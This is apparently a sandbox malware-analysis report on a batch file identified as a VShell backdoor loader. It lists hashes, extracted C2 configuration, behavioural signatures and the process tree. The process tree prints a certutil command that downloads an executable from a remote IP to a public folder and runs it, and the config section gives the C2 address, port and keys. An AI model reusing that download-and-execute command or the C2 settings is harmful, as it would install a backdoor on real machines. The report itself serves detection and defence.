Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/11/2026, 18:27
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260911-en
windows10-2004-x64
9 signatures
150 seconds
General
- Target windows.bat
- Size 508B
- Sample261104-w33cescv6x
- SHA256 db448606c3f1d6f7f096069c2f51b8e0a0e6086350448ca16e6e9bbd37466219
- MD5 7b792af93ce039437f894d93bf14fbfb
- SHA1 5cc852df3590f635469123e8510a6f36e39a4dff
- SHA512 ba429f461da1449296a1a3d281220949f5a7f412b46acecabb0a2e9b67d2001bdfd63137588b5e4f73797d0b677b03c19fa713747abd954c311a33a48e80c6fa
- TLSH T128F02ECD383518B107C5895378997C9BB41950D1C771E4485E5331F96E861A93AFBF81
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
111.229.153.119
Attributes
-
port
8086
-
salt
qwe123qwe
-
type
tcp
-
vkey
qwe123qwe
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/248-7-0x0000000067700000-0x0000000067ED4000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 5 1560 certutil.exe 6 1560 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 248 2697eaa3tcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4640 cmd.exe 2396 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname 2697eaa3tcp.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain 2697eaa3tcp.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 5116 WMIC.exe 5116 WMIC.exe 5116 WMIC.exe 5116 WMIC.exe 248 2697eaa3tcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 5116 WMIC.exe Token: SeSecurityPrivilege 5116 WMIC.exe Token: SeTakeOwnershipPrivilege 5116 WMIC.exe Token: SeLoadDriverPrivilege 5116 WMIC.exe Token: SeSystemProfilePrivilege 5116 WMIC.exe Token: SeSystemtimePrivilege 5116 WMIC.exe Token: SeProfSingleProcessPrivilege 5116 WMIC.exe Token: SeIncBasePriorityPrivilege 5116 WMIC.exe Token: SeCreatePagefilePrivilege 5116 WMIC.exe Token: SeBackupPrivilege 5116 WMIC.exe Token: SeRestorePrivilege 5116 WMIC.exe Token: SeShutdownPrivilege 5116 WMIC.exe Token: SeDebugPrivilege 5116 WMIC.exe Token: SeSystemEnvironmentPrivilege 5116 WMIC.exe Token: SeRemoteShutdownPrivilege 5116 WMIC.exe Token: SeUndockPrivilege 5116 WMIC.exe Token: SeManageVolumePrivilege 5116 WMIC.exe Token: 33 5116 WMIC.exe Token: 34 5116 WMIC.exe Token: 35 5116 WMIC.exe Token: 36 5116 WMIC.exe Token: SeIncreaseQuotaPrivilege 5116 WMIC.exe Token: SeSecurityPrivilege 5116 WMIC.exe Token: SeTakeOwnershipPrivilege 5116 WMIC.exe Token: SeLoadDriverPrivilege 5116 WMIC.exe Token: SeSystemProfilePrivilege 5116 WMIC.exe Token: SeSystemtimePrivilege 5116 WMIC.exe Token: SeProfSingleProcessPrivilege 5116 WMIC.exe Token: SeIncBasePriorityPrivilege 5116 WMIC.exe Token: SeCreatePagefilePrivilege 5116 WMIC.exe Token: SeBackupPrivilege 5116 WMIC.exe Token: SeRestorePrivilege 5116 WMIC.exe Token: SeShutdownPrivilege 5116 WMIC.exe Token: SeDebugPrivilege 5116 WMIC.exe Token: SeSystemEnvironmentPrivilege 5116 WMIC.exe Token: SeRemoteShutdownPrivilege 5116 WMIC.exe Token: SeUndockPrivilege 5116 WMIC.exe Token: SeManageVolumePrivilege 5116 WMIC.exe Token: 33 5116 WMIC.exe Token: 34 5116 WMIC.exe Token: 35 5116 WMIC.exe Token: 36 5116 WMIC.exe Token: SeDebugPrivilege 248 2697eaa3tcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4640 wrote to memory of 2396 4640 cmd.exe 89 PID 2396 wrote to memory of 5116 2396 cmd.exe 90 PID 2396 wrote to memory of 1152 2396 cmd.exe 91 PID 4640 wrote to memory of 1560 4640 cmd.exe 93 PID 4640 wrote to memory of 248 4640 cmd.exe 94
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4640 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2396 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5116
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:1152
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://111.229.153.119:8086/?h=111.229.153.119&p=8086&t=tcp&a=w64&stage=true" "C:\Users\Public\2697eaa3tcp.exe"2⤵
- Downloads MZ/PE file
PID:1560
-
-
C:\Users\Public\2697eaa3tcp.exe"C:\Users\Public\2697eaa3tcp.exe"2⤵
- Executes dropped EXE
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:248
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\2697eaa3tcp.exe
- Size 3KB
- SHA256 9cc8551a8e4be7fe2317ce2f9221043e4bea356a42ad3cc815599d964baefb40
- MD5 7e1584b3e65622091fcea9a4465a248e
- SHA1 39e2d4c3b095b6ff873286dc036555833b4bd8a5
- SHA512 b2fa0a81aaee5e1bcbfc115989a261d7594ac7f03559e577ae41be8676ad06f43f10e225e015450493d612121784de8b3bfe871398be22da79023c7e419507c6
- TLSH T11B71B58160541AF2D94CE37F8587B899FD4EB248A2C84B0F0398D85A2F7547BB0DA613
- MD5 SHA1 SHA512 TLSH